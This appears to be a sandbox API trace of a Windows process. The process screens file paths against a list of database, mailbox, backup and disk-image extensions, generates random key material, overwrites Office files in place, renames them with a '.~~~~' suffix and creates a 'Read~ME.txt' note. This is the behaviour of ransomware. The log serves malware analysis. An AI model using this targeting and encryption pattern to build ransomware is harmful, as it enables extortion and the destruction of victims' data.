	[0081.208] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.208] CloseHandle (hObject=0x134) returned 1
	[0081.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28003d8
	[0081.208] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.~~~~")) returned 1
	[0081.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28003d8 | out: hHeap=0x300000) returned 1
	[0081.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.209] GetLastError () returned 0x0
	[0081.209] RtlWakeConditionVariable () returned 0x365f70
	[0081.209] GetCurrentThreadId () returned 0x9f4
	[0081.209] GetCurrentThreadId () returned 0x9f4
	[0081.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d6e8 | out: hHeap=0x300000) returned 1
	[0081.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa88 | out: hHeap=0x300000) returned 1
	[0081.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.209] lstrlenW (lpString=".scr") returned 4
	[0081.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".scr") returned 0x0
	[0081.209] lstrlenW (lpString=".cmd") returned 4
	[0081.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".cmd") returned 0x0
	[0081.209] lstrlenW (lpString=".dll") returned 4
	[0081.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dll") returned 0x0
	[0081.209] lstrlenW (lpString=".bat") returned 4
	[0081.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".bat") returned 0x0
	[0081.209] lstrlenW (lpString=".cpl") returned 4
	[0081.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".cpl") returned 0x0
	[0081.209] lstrlenW (lpString=".sys") returned 4
	[0081.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".sys") returned 0x0
	[0081.209] lstrlenW (lpString=".msc") returned 4
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".msc") returned 0x0
	[0081.210] lstrlenW (lpString=".com") returned 4
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".com") returned 0x0
	[0081.210] lstrlenW (lpString=".lnk") returned 4
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".lnk") returned 0x0
	[0081.210] lstrlenW (lpString=".msp") returned 4
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".msp") returned 0x0
	[0081.210] lstrlenW (lpString=".pif") returned 4
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".pif") returned 0x0
	[0081.210] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.210] lstrlenW (lpString=".sqb") returned 4
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".sqb") returned 0x0
	[0081.210] lstrlenW (lpString=".ost") returned 4
	[0081.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".ost") returned 0x0
	[0081.211] lstrlenW (lpString=".txt") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".txt") returned 0x0
	[0081.211] lstrlenW (lpString=".mdt") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".mdt") returned 0x0
	[0081.211] lstrlenW (lpString=".BDB") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".BDB") returned 0x0
	[0081.211] lstrlenW (lpString=".eql") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".eql") returned 0x0
	[0081.211] lstrlenW (lpString=".DBF") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DBF") returned 0x0
	[0081.211] lstrlenW (lpString=".EQL") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".EQL") returned 0x0
	[0081.211] lstrlenW (lpString=".FDB") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".FDB") returned 0x0
	[0081.211] lstrlenW (lpString=".EDB") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".EDB") returned 0x0
	[0081.211] lstrlenW (lpString=".DACPAC") returned 7
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DACPAC") returned 0x0
	[0081.211] lstrlenW (lpString=".VHD") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".VHD") returned 0x0
	[0081.211] lstrlenW (lpString=".DBV") returned 4
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DBV") returned 0x0
	[0081.211] lstrlenW (lpString=".dacpac") returned 7
	[0081.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dacpac") returned 0x0
	[0081.212] lstrlenW (lpString=".sdf") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".sdf") returned 0x0
	[0081.212] lstrlenW (lpString=".accdb") returned 6
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".accdb") returned 0x0
	[0081.212] lstrlenW (lpString=".DBX") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DBX") returned 0x0
	[0081.212] lstrlenW (lpString=".MDT") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".MDT") returned 0x0
	[0081.212] lstrlenW (lpString=".SQB") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".SQB") returned 0x0
	[0081.212] lstrlenW (lpString=".vhd") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".vhd") returned 0x0
	[0081.212] lstrlenW (lpString=".bac") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".bac") returned 0x0
	[0081.212] lstrlenW (lpString=".mdf") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".mdf") returned 0x0
	[0081.212] lstrlenW (lpString=".BAK") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".BAK") returned 0x0
	[0081.212] lstrlenW (lpString=".BAC") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".BAC") returned 0x0
	[0081.212] lstrlenW (lpString=".dbs") returned 4
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dbs") returned 0x0
	[0081.212] lstrlenW (lpString=".vhdx") returned 5
	[0081.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".vhdx") returned 0x0
	[0081.212] lstrlenW (lpString=".NDF") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".NDF") returned 0x0
	[0081.213] lstrlenW (lpString=".dat") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dat") returned 0x0
	[0081.213] lstrlenW (lpString=".DBS") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DBS") returned 0x0
	[0081.213] lstrlenW (lpString=".CKP") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".CKP") returned 0x0
	[0081.213] lstrlenW (lpString=".edb") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".edb") returned 0x0
	[0081.213] lstrlenW (lpString=".PST") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".PST") returned 0x0
	[0081.213] lstrlenW (lpString=".dbf") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dbf") returned 0x0
	[0081.213] lstrlenW (lpString=".SQL") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".SQL") returned 0x0
	[0081.213] lstrlenW (lpString=".pst") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".pst") returned 0x0
	[0081.213] lstrlenW (lpString=".dbv") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dbv") returned 0x0
	[0081.213] lstrlenW (lpString=".SDF") returned 4
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".SDF") returned 0x0
	[0081.213] lstrlenW (lpString=".dtxs") returned 5
	[0081.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dtxs") returned 0x0
	[0081.213] lstrlenW (lpString=".db3") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".db3") returned 0x0
	[0081.214] lstrlenW (lpString=".OST") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".OST") returned 0x0
	[0081.214] lstrlenW (lpString=".dbx") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dbx") returned 0x0
	[0081.214] lstrlenW (lpString=".DB3") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DB3") returned 0x0
	[0081.214] lstrlenW (lpString=".DAT") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DAT") returned 0x0
	[0081.214] lstrlenW (lpString=".VHDX") returned 5
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".VHDX") returned 0x0
	[0081.214] lstrlenW (lpString=".ndf") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".ndf") returned 0x0
	[0081.214] lstrlenW (lpString=".DB") returned 3
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DB") returned 0x0
	[0081.214] lstrlenW (lpString=".sql") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".sql") returned 0x0
	[0081.214] lstrlenW (lpString=".MYD") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".MYD") returned 0x0
	[0081.214] lstrlenW (lpString=".DBT") returned 4
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DBT") returned 0x0
	[0081.214] lstrlenW (lpString=".ACCDB") returned 6
	[0081.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".ACCDB") returned 0x0
	[0081.215] lstrlenW (lpString=".fdb") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".fdb") returned 0x0
	[0081.215] lstrlenW (lpString=".bak") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".bak") returned 0x0
	[0081.215] lstrlenW (lpString=".myd") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".myd") returned 0x0
	[0081.215] lstrlenW (lpString=".DTXS") returned 5
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".DTXS") returned 0x0
	[0081.215] lstrlenW (lpString=".ckp") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".ckp") returned 0x0
	[0081.215] lstrlenW (lpString=".dbt") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".dbt") returned 0x0
	[0081.215] lstrlenW (lpString=".db") returned 3
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".db") returned 0x0
	[0081.215] lstrlenW (lpString=".TXT") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".TXT") returned 0x0
	[0081.215] lstrlenW (lpString=".MDF") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".MDF") returned 0x0
	[0081.215] lstrlenW (lpString=".bdb") returned 4
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".bdb") returned 0x0
	[0081.215] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.216] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.218] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.218] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.218] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20120817464) returned 1
	[0081.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a425330, dwHighDateTime=0x1d60e1e)) 
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa88
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa88 | out: hHeap=0x300000) returned 1
	[0081.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.219] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.219] GetLastError () returned 0x0
	[0081.219] GetLastError () returned 0x0
	[0081.219] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.219] GetLastError () returned 0x0
	[0081.219] GetLastError () returned 0x0
	[0081.219] ReadFile (in: hFile=0x134, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x25dfec0*=0x5b2, lpOverlapped=0x0) returned 1
	[0081.222] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffa4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.223] WriteFile (in: hFile=0x134, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x25dfec0*=0x5b2, lpOverlapped=0x0) returned 1
	[0081.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0081.226] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.226] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.226] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.226] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.226] CloseHandle (hObject=0x134) returned 1
	[0081.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0081.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.~~~~")) returned 1
	[0081.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff0d0 | out: hHeap=0x300000) returned 1
	[0081.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.227] GetLastError () returned 0x0
	[0081.227] RtlWakeConditionVariable () returned 0x365f70
	[0081.227] GetCurrentThreadId () returned 0x9f4
	[0081.227] GetCurrentThreadId () returned 0x9f4
	[0081.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0081.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28005a8 | out: hHeap=0x300000) returned 1
	[0081.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa50 | out: hHeap=0x300000) returned 1
	[0081.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28005a8
	[0081.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
